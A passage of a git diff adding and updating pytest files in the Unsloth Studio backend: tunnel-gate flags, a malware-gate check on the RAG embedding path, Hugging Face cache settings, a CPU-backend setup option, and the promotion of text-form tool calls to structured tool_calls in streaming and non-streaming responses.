     """Pin the default so a regression below 600s without opt-in is caught."""
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index 1f7608a4fc..a8c0c2305f 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -2,7 +2,7 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 """Cloudflare tunnel start gate, incl. --secure on loopback. Imports run.py
-directly, so run under the Studio venv."""
+directly, so run under the Unsloth venv."""
 
 from __future__ import annotations
 
@@ -21,7 +21,7 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
 @pytest.mark.parametrize(
     "cloudflare,host,secure,api_only,is_colab,expected",
     [
-        # Non-secure wildcard binds tunnel by default.
+        # Non-secure wildcard binds tunnel only when --cloudflare is passed (True).
         (True, "0.0.0.0", False, False, False, True),
         (True, "::", False, False, False, True),
         (True, "127.0.0.1", False, False, False, False),
@@ -33,6 +33,10 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
         (False, "0.0.0.0", False, False, False, False),
         (False, "::", False, False, False, False),
         (False, "127.0.0.1", True, False, False, False),
+        # Unset (None, no flag) behaves as off for non-secure binds.
+        (None, "0.0.0.0", False, False, False, False),
+        (None, "::", False, False, False, False),
+        (None, "127.0.0.1", False, False, False, False),
         # Non-secure api-only never tunnels (Tauri).
         (True, "0.0.0.0", False, True, False, False),
         (True, "::", False, True, False, False),
@@ -155,11 +159,12 @@ def test_startup_output_emits_disabled_notice(capsys, monkeypatch):
 
 
 def test_run_server_rejects_secure_without_cloudflare():
-    # Direct backend callers (not just the CLI) must reject the contradictory combo.
+    # Direct backend callers (not just the CLI) must reject the contradictory
+    # combo: --secure asks for the tunnel, --no-cloudflare (cloudflare=False) forbids it.
     import run
     with pytest.raises(SystemExit) as exc:
         run.run_server(secure = True, cloudflare = False)
-    assert "A secure Cloudflare link is not allowed" in str(exc.value)
+    assert "do not combine it with --no-cloudflare" in str(exc.value)
 
 
 def test_failclosed_message_present_in_source():
diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py
index db66df8a30..b5f1069f12 100644
--- a/studio/backend/tests/test_security_gate_consistency.py
+++ b/studio/backend/tests/test_security_gate_consistency.py
@@ -99,3 +99,16 @@ def test_malware_and_consent_gates_cover_the_lora_base():
         if runs_gate and not resolves_base:
             offenders.append(f"{rel} runs a load gate but never resolves the LoRA base")
     assert not offenders, "\n".join(offenders)
+
+
+def test_rag_embedding_path_runs_the_malware_gate():
+    """The RAG embedding model is set through /settings and later loaded by
+    SentenceTransformer, which deserializes pickles; both sites must run the malware gate
+    or a flagged repo loads unscanned (bypassing the normal model-load protections)."""
+    offenders = []
+    for rel in ("routes/settings.py", "core/rag/embeddings.py"):
+        if "evaluate_file_security(" not in (_BACKEND / rel).read_text():
+            offenders.append(
+                f"{rel} loads/persists an embedding model without evaluate_file_security"
+            )
+    assert not offenders, "\n".join(offenders)
diff --git a/studio/backend/tests/test_server_disk_logging.py b/studio/backend/tests/test_server_disk_logging.py
index 05d03d869c..ce733c2aaa 100644
--- a/studio/backend/tests/test_server_disk_logging.py
+++ b/studio/backend/tests/test_server_disk_logging.py
@@ -3,7 +3,7 @@
 
 """Tests for the server session log + native-crash capture in run.py.
 
-Field regression: Studio "terminates without a warning" -- a native crash in
+Field regression: Unsloth "terminates without a warning" -- a native crash in
 the GPU runtime kills the process with no Python traceback, and a desktop-
 shortcut console closes before anything can be read. The server must tee its
 console output to disk and aim faulthandler at the same file so even hard
diff --git a/studio/backend/tests/test_setup_cache_env_hf_home.py b/studio/backend/tests/test_setup_cache_env_hf_home.py
index 4520c93a51..c5d5f820a8 100644
--- a/studio/backend/tests/test_setup_cache_env_hf_home.py
+++ b/studio/backend/tests/test_setup_cache_env_hf_home.py
@@ -28,6 +28,9 @@ def _isolate_studio_home(monkeypatch, tmp_path):
 
 
 def _load_storage_roots():
+    # Each test models a fresh backend process. The cache resolver intentionally
+    # snapshots explicit environment variables once per process.
+    sys.modules.pop("utils.hf_cache_settings", None)
     spec = importlib.util.spec_from_file_location("storage_roots_under_test", _STORAGE_ROOTS_PATH)
     module = importlib.util.module_from_spec(spec)
     spec.loader.exec_module(module)
@@ -40,10 +43,10 @@ def _clear_hf_env(monkeypatch):
 
 
 def test_custom_hf_home_seeds_hub_and_xet(monkeypatch, tmp_path):
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     custom = tmp_path / "shared" / "huggingface"
     monkeypatch.setenv("HF_HOME", str(custom))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()
 
@@ -54,9 +57,9 @@ def test_custom_hf_home_seeds_hub_and_xet(monkeypatch, tmp_path):
 
 
 def test_default_when_hf_home_unset(monkeypatch, tmp_path):
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg"))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()
 
@@ -67,11 +70,11 @@ def test_default_when_hf_home_unset(monkeypatch, tmp_path):
 
 
 def test_explicit_hub_cache_is_not_overridden(monkeypatch, tmp_path):
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     monkeypatch.setenv("HF_HOME", str(tmp_path / "home"))
     explicit = tmp_path / "explicit" / "hub"
     monkeypatch.setenv("HF_HUB_CACHE", str(explicit))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()
 
@@ -81,11 +84,11 @@ def test_explicit_hub_cache_is_not_overridden(monkeypatch, tmp_path):
 
 
 def test_legacy_huggingface_hub_cache_alias_is_honored(monkeypatch, tmp_path):
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     monkeypatch.setenv("HF_HOME", str(tmp_path / "home"))
     legacy = tmp_path / "legacy" / "hub"
     monkeypatch.setenv("HUGGINGFACE_HUB_CACHE", str(legacy))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()
 
@@ -96,15 +99,16 @@ def test_legacy_huggingface_hub_cache_alias_is_honored(monkeypatch, tmp_path):
 
 def test_whitespace_hf_home_falls_back_to_default(monkeypatch, tmp_path):
     # A blank/whitespace HF_HOME must not become " /hub"; fall back to default.
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     monkeypatch.setenv("HF_HOME", "   ")
     monkeypatch.setenv("XDG_CACHE_HOME", str(tmp_path / "xdg"))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()
 
     import os
 
+    assert os.environ["HF_HOME"] == str(tmp_path / "xdg" / "huggingface")
     assert os.environ["HF_HUB_CACHE"] == str(tmp_path / "xdg" / "huggingface" / "hub")
 
 
@@ -114,9 +118,9 @@ def test_unwritable_hf_home_does_not_crash(monkeypatch, tmp_path):
     blocker = tmp_path / "blocker"
     blocker.write_text("not a dir")
     unwritable = blocker / "hf"
-    sr = _load_storage_roots()
     _clear_hf_env(monkeypatch)
     monkeypatch.setenv("HF_HOME", str(unwritable))
+    sr = _load_storage_roots()
 
     sr._setup_cache_env()  # must not raise
 
diff --git a/studio/backend/tests/test_setup_llama_cpp_backend.py b/studio/backend/tests/test_setup_llama_cpp_backend.py
new file mode 100644
index 0000000000..36928c680c
--- /dev/null
+++ b/studio/backend/tests/test_setup_llama_cpp_backend.py
@@ -0,0 +1,154 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""setup.sh and setup.ps1 must map UNSLOTH_LLAMA_CPP_BACKEND=cpu to
+install_llama_prebuilt.py's --force-cpu so users can force the CPU-only prebuilt
+on GPU hosts (#7213). The match is case-insensitive and whitespace-trimmed, an
+unrecognized value warns instead of silently falling back, and macOS warns (no
+CPU-only bundle). Runs the real block extracted from each script so the tests
+track the shipped logic.
+"""
+
+import os
+import re
+import shutil
+import subprocess
+from pathlib import Path
+
+import pytest
+
+_STUDIO = Path(__file__).resolve().parents[2]
+_SETUP_SH = _STUDIO / "setup.sh"
+_SETUP_PS1 = _STUDIO / "setup.ps1"
+_SKIP_NO_BASH = pytest.mark.skipif(shutil.which("bash") is None, reason = "bash unavailable")
+_SKIP_NO_PWSH = pytest.mark.skipif(shutil.which("pwsh") is None, reason = "pwsh unavailable")
+
+
+def _backend_block() -> str:
+    text = _SETUP_SH.read_text(encoding = "utf-8")
+    m = re.search(r"_llama_backend=.*?esac", text, re.DOTALL)
+    assert m, "UNSLOTH_LLAMA_CPP_BACKEND block not found in setup.sh"
+    return m.group(0)
+
+
+def _run(value: str | None, system: str = "Linux") -> tuple[list[str], str]:
+    # Pass the value through env (not the script text) so whitespace survives, and
+    # stub the setup.sh logging helpers the unknown-value branch calls. system sets
+    # _HOST_SYSTEM so the macOS (Darwin) no-op branch can be exercised.
+    env = {k: v for k, v in os.environ.items() if k != "UNSLOTH_LLAMA_CPP_BACKEND"}
+    if value is not None:
+        env["UNSLOTH_LLAMA_CPP_BACKEND"] = value
+    harness = (
+        f'_PREBUILT_CMD=()\nC_WARN=""\n_HOST_SYSTEM="{system}"\n'
+        'step() { printf "STEP: %s\\n" "$*" >&2; }\n'
+        f"{_backend_block()}\n"
+        'printf "%s\\n" "${_PREBUILT_CMD[@]}"'
+    )
+    out = subprocess.run(
+        ["bash", "-c", harness], capture_output = True, text = True, env = env, check = True
+    )
+    return out.stdout.split(), out.stderr
+
+
+@_SKIP_NO_BASH
+@pytest.mark.parametrize("value", ["cpu", "CPU", "Cpu", " cpu ", "CPU\t"])
+def test_backend_cpu_appends_flag(value):
+    # A deliberate CPU choice persists, so it uses --force-cpu (not the transient
+    # --cpu-fallback the arm64 GPU-build recovery uses).
+    args, stderr = _run(value)
+    assert "--force-cpu" in args
+    assert "--cpu-fallback" not in args
+    assert "Ignoring" not in stderr
+
+
+@_SKIP_NO_BASH
+@pytest.mark.parametrize("value", ["cpu", "CPU", " cpu "])
+def test_backend_cpu_macos_warns_no_flag(value):
+    # macOS has no CPU-only bundle (the universal build already runs on CPU), so the
+    # override warns instead of writing a misleading forced-CPU marker.
+    args, stderr = _run(value, system = "Darwin")
+    assert "--force-cpu" not in args
+    assert "--cpu-fallback" not in args
+    assert "macOS" in stderr
+
+
+@_SKIP_NO_BASH
+@pytest.mark.parametrize("value", [None, "", "auto", "AUTO", "  "])
+def test_backend_auto_no_flag_no_warn(value):
+    args, stderr = _run(value)
+    assert "--force-cpu" not in args
+    assert "Ignoring" not in stderr
+
+
+@_SKIP_NO_BASH
+@pytest.mark.parametrize("value", ["vulkan", "gpu", "cuda"])
+def test_backend_unknown_warns_and_no_flag(value):
+    args, stderr = _run(value)
+    assert "--force-cpu" not in args
+    assert "Ignoring" in stderr
+
+
+@_SKIP_NO_BASH
+def test_arm64_recovery_uses_transient_cpu_fallback():
+    # The arm64 Linux GPU-build recovery must stay transient (--cpu-fallback), never
+    # the persisted --force-cpu, so a later update can still heal to a GPU bundle (#6097).
+    text = _SETUP_SH.read_text(encoding = "utf-8")
+    m = re.search(r"_ARM64_CPU_CMD=\((.*?)\)", text, re.DOTALL)
+    assert m, "arm64 CPU recovery command not found in setup.sh"
+    block = m.group(1)
+    assert "--cpu-fallback" in block
+    assert "--force-cpu" not in block
+
+
+def _ps1_search(pattern: str, flags = 0) -> str:
+    m = re.search(pattern, _SETUP_PS1.read_text(encoding = "utf-8"), flags)
+    assert m, f"setup.ps1 block not found: {pattern}"
+    return m.group(0)
+
+
+def _run_ps1(value: str | None) -> str:
+    # The override is normalized (assign + warn) at the top of the prebuilt block and
+    # applied to $prebuiltArgs lower down; compose both real snippets.
+    normalize = _ps1_search(
+        r'\$llamaBackend = "\$\(\$env:UNSLOTH_LLAMA_CPP_BACKEND\)".*?Write-Host.*?\n\s*\}',
+        re.DOTALL,
+    )
+    apply_flag = _ps1_search(
+        r'if \(\$llamaBackend -eq "cpu"\) \{\s*\$prebuiltArgs \+= "--force-cpu"\s*\}'
+    )
+    env = {k: v for k, v in os.environ.items() if k != "UNSLOTH_LLAMA_CPP_BACKEND"}
+    if value is not None:
+        env["UNSLOTH_LLAMA_CPP_BACKEND"] = value
+    harness = f'$prebuiltArgs = @()\n{normalize}\n{apply_flag}\n"ARGS:" + ($prebuiltArgs -join ",")'
+    out = subprocess.run(
+        ["pwsh", "-NoProfile", "-Command", harness],
+        capture_output = True,
+        text = True,
+        env = env,
+        check = True,
+    )
+    return out.stdout
+
+
+@_SKIP_NO_PWSH
+@pytest.mark.parametrize("value", ["cpu", "CPU", "Cpu", " cpu ", "CPU\t"])
+def test_ps1_backend_cpu_appends_flag(value):
+    out = _run_ps1(value)
+    assert "--force-cpu" in out
+    assert "Ignoring" not in out
+
+
+@_SKIP_NO_PWSH
+@pytest.mark.parametrize("value", [None, "", "auto", "AUTO", "  "])
+def test_ps1_backend_auto_no_flag_no_warn(value):
+    out = _run_ps1(value)
+    assert "--force-cpu" not in out
+    assert "Ignoring" not in out
+
+
+@_SKIP_NO_PWSH
+@pytest.mark.parametrize("value", ["vulkan", "gpu", "cuda"])
+def test_ps1_backend_unknown_warns_and_no_flag(value):
+    out = _run_ps1(value)
+    assert "--force-cpu" not in out
+    assert "Ignoring" in out
diff --git a/studio/backend/tests/test_sf_client_tools_passthrough.py b/studio/backend/tests/test_sf_client_tools_passthrough.py
new file mode 100644
index 0000000000..f91eec9817
--- /dev/null
+++ b/studio/backend/tests/test_sf_client_tools_passthrough.py
@@ -0,0 +1,841 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Client-tools passthrough healing for the safetensors/MLX backend.
+
+Parity for #6801: when a NON-GGUF model is loaded and the request declares its
+own ``tools`` with server-side tools OFF, text-form tool calls are promoted back
+into structured ``tool_calls`` (declared tools only) via the shared healer. MLX
+rides the same orchestrator path, so a single scripted backend covers both.
+"""
+
+import asyncio
+import json
+from types import SimpleNamespace
+
+from models.inference import ChatCompletionRequest, ChatMessage
+from routes.inference import openai_chat_completions
+from core.inference.api_monitor import ApiMonitor
+
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "lookup",
+        "description": "Look something up",
+        "parameters": {
+            "type": "object",
+            "properties": {"q": {"type": "string"}},
+            "required": ["q"],
+        },
+    },
+}
+SEARCH_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "search",
+        "parameters": {
+            "type": "object",
+            "properties": {"query": {"type": "string"}},
+            "required": ["query"],
+        },
+    },
+}
+
+_CALL_XML = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}</tool_call>'
+_SEARCH_XML = '<tool_call>{"name": "search", "arguments": {"query": "dogs"}}</tool_call>'
+
+
+class _Request:
+    state = SimpleNamespace()
+    url = SimpleNamespace(path = "/v1/chat/completions")
+    method = "POST"
+    scope: dict = {}
+
+    async def is_disconnected(self):
+        return False
+
+
+class _ScriptedBackend:
+    """Non-GGUF backend: ``generate_chat_response`` replays scripted
+    CUMULATIVE snapshots. ``responder(messages, tools)`` returns the snapshot
+    list for one generation, so nudge tests can vary output across turns."""
+
+    active_model_name = "sf-model"
+
+    def __init__(
+        self,
+        responder,
+        *,
+        stats = None,
+    ):
+        self.models = {
+            "sf-model": {
+                "chat_template_info": {"template": "<tool_call> chatml"},
+                "context_length": 2048,
+            }
+        }
+        self._responder = responder
+        self._stats = stats
+        self.calls: list = []
+        self.reset_count = 0
+
+    def generate_chat_response(
+        self,
+        *,
+        messages,
+        tools = None,
+        stats_holder = None,
+        **kwargs,
+    ):
+        self.calls.append({"messages": messages, "tools": tools, **kwargs})
+        snapshots = self._responder(messages, tools)
+        if stats_holder is not None and self._stats is not None:
+            stats_holder["stats"] = self._stats
+        for snap in snapshots:
+            yield snap
+
+    def reset_generation_state(self):
+        self.reset_count += 1
+
+
+def _fixed(*snapshots):
+    """Responder that always replays the given cumulative snapshots."""
+    return lambda messages, tools: list(snapshots)
+
+
+def _llama_stub():
+    return SimpleNamespace(
+        is_loaded = False,
+        supports_tools = False,
+        is_vision = False,
+        context_length = None,
+    )
+
+
+def _install(
+    monkeypatch,
+    backend,
+    *,
+    supports_tools = True,
+):
+    import routes.inference as inf
+    from state.tool_policy import reset_tool_policy
+
+    reset_tool_policy()
+    monitor = ApiMonitor(max_entries = 8)
+    monkeypatch.setattr(inf, "api_monitor", monitor)
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _llama_stub())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: backend)
+    monkeypatch.setattr(
+        inf,
+        "_detect_safetensors_features",
+        lambda *a, **k: {"supports_tools": supports_tools},
+    )
+    return monitor
+
+
+def _request(**kwargs):
+    base = dict(model = "default", messages = [ChatMessage(role = "user", content = "hi")])
+    base.update(kwargs)
+    return ChatCompletionRequest(**base)
+
+
+def _call(payload, monkeypatch, backend, **install_kwargs):
+    _install(monkeypatch, backend, **install_kwargs)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    return asyncio.run(_run())
+
+
+def _json_body(response):
+    return json.loads(response.body if hasattr(response, "body") else response.content)
+
+
+def _collect_sse(response):
+    async def _run():
+        return [c async for c in response.body_iterator]
+
+    return asyncio.run(_run())
+
+
+def _sse_objects(chunks):
+    out = []
+    for chunk in chunks:
+        if isinstance(chunk, bytes):
+            chunk = chunk.decode()
+        for line in str(chunk).splitlines():
+            if line.startswith("data: "):
+                data = line.removeprefix("data: ")
+                if data != "[DONE]":
+                    out.append(json.loads(data))
+    return out
+
+
+# ── Non-streaming ─────────────────────────────────────────────────
+
+
+def test_non_reasoning_backend_keeps_literal_think_tags(monkeypatch):
+    backend = _ScriptedBackend(_fixed("show <think>example</think> tags"))
+    response = _call(_request(stream = False), monkeypatch, backend, supports_tools = False)
+
+    message = _json_body(response)["choices"][0]["message"]
+    assert message["content"] == "show <think>example</think> tags"
+    assert message["reasoning_content"] is None
+
+
+def test_xml_healed_to_tool_calls_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] is None
+    calls = choice["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+    # The client tools reached the generator (template injection).
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]
+
+
+def test_undeclared_call_stays_text(monkeypatch):
+    xml = '<tool_call>{"name": "other", "arguments": {}}</tool_call>'
+    backend = _ScriptedBackend(_fixed(xml))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == xml
+
+
+def test_opt_out_relays_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, auto_heal_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_env_kill_switch_relays_verbatim(monkeypatch):
+    import core.inference.passthrough_healing as ph
+
+    monkeypatch.setattr(ph, "_HEALING_DISABLED", True)
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+    assert choice["message"]["content"] == _CALL_XML
+
+
+def test_no_tools_request_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("just a plain answer"))
+    payload = _request(stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    # No tools and no tool messages -> plain path, normal ChatCompletion.
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == "just a plain answer"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_prose_around_call_retained(monkeypatch):
+    text = "Let me look:\n" + _CALL_XML + "\ndone"
+    backend = _ScriptedBackend(_fixed(text))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["content"] == "Let me look:\n\ndone"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_empty_output_is_valid_stop(monkeypatch):
+    backend = _ScriptedBackend(_fixed(""))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] in ("", None)
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_tool_role_follow_up_turn_preserves_history(monkeypatch):
+    backend = _ScriptedBackend(_fixed("The weather is sunny."))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "The weather is sunny."
+    # The tool history reached the generator intact (role=tool + assistant.tool_calls).
+    sent = backend.calls[0]["messages"]
+    roles = [m["role"] for m in sent]
+    assert "tool" in roles
+    assistant = next(m for m in sent if m["role"] == "assistant")
+    assert assistant.get("tool_calls")
+
+
+def test_dict_arguments_history_does_not_crash(monkeypatch):
+    # Non-spec client: assistant tool_calls[].function.arguments as a dict.
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": {"q": "x"}},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+
+
+def test_forced_tool_choice_narrows_promotion(monkeypatch):
+    # tool_choice forces `search`; a `lookup` text call must NOT promote.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_parallel_cap_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    calls = body["choices"][0]["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+
+
+def test_usage_recorded_when_stats_present(monkeypatch):
+    stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    backend = _ScriptedBackend(_fixed(_CALL_XML), stats = stats)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    [entry] = monitor.snapshot()
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+# ── Nudge ─────────────────────────────────────────────────────────
+
+
+def test_nudge_default_off_single_generation(monkeypatch):
+    # Signal present but unparseable; without opt-in, no retry.
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    _call(payload, monkeypatch, backend)
+    assert len(backend.calls) == 1
+
+
+def test_nudge_opt_in_retry_recovers(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+
+    def responder(messages, tools):
+        nudged = any(
+            "native tool-call format" in (m.get("content") or "")
+            for m in messages
+            if m.get("role") == "user"
+        )
+        return [_CALL_XML] if nudged else [truncated]
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_nudge_double_failure_relays_original(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2  # exactly one retry
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == truncated
+
+
+# ── Streaming ─────────────────────────────────────────────────────
+
+
+def test_streaming_heals_split_call_into_one_delta(monkeypatch):
+    # Cumulative snapshots that build the call across many increments.
+    pieces = ["<tool", '<tool_call>{"name": "loo', '<tool_call>{"name": "lookup", "argum']
+    cumulative = pieces + [_CALL_XML]
+    backend = _ScriptedBackend(_fixed(*cumulative))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["tool_calls"]
+
+
+def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch):
+    # A stream cancelled via the registry ("Stop") must NOT promote the
+    # buffered-but-unclosed tool markup at finalize, else it executes a tool
+    # the user just cancelled. Guarded on cancel_event at the finalize step.
+    import routes.inference as inf
+
+    cancel_id = "cancel-me-6870"
+    # Balanced JSON but no closing </tool_call> -> healer HOLDS it until finalize.
+    held = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}'
+
+    class _CancelMidStream(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed(held))
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            yield held  # healer holds the unclosed call
+            inf._cancel_by_cancel_id_or_stash(cancel_id)  # user hits Stop before EOF
+
+    backend = _CancelMidStream()
+    payload = _request(tools = [LOOKUP_TOOL], stream = True, cancel_id = cancel_id)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert tool_deltas == []  # no tool promoted after cancel
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert "tool_calls" not in finishes  # ends with finish_reason=stop, not tool_calls
+
+
+def test_streaming_no_tools_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed("hello ", "hello world"))
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    text = "".join(
+        (o["choices"][0]["delta"].get("content") or "")
+        for o in objs
+        if o["choices"] and "delta" in o["choices"][0]
+    )
+    assert text == "hello world"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["stop"]
+
+
+def test_streaming_gen_stream_error_is_not_model_text(monkeypatch):
+    from core.inference.orchestrator import GenStreamError
+
+    class _ErrorAfterPartial(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed())
+
+        def generate_chat_response(self, **_kwargs):
+            yield "<think>partial"
+            yield GenStreamError("Error: /tmp/secret traceback")
+
+    backend = _ErrorAfterPartial()
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend, supports_tools = False)
+    chunks = _collect_sse(response)
+    objs = _sse_objects(chunks)
+
+    deltas = [o.get("choices", [{}])[0].get("delta", {}) for o in objs if o.get("choices")]
+    assert any("partial" in json.dumps(delta) for delta in deltas)
+    assert not any("/tmp/secret" in json.dumps(delta) for delta in deltas)
+    errors = [o["error"]["message"] for o in objs if "error" in o]
+    assert errors == ["An internal error occurred."]
+    assert any(
+        "data: [DONE]" in (chunk.decode() if isinstance(chunk, bytes) else chunk)
+        for chunk in chunks
+    )
+
+
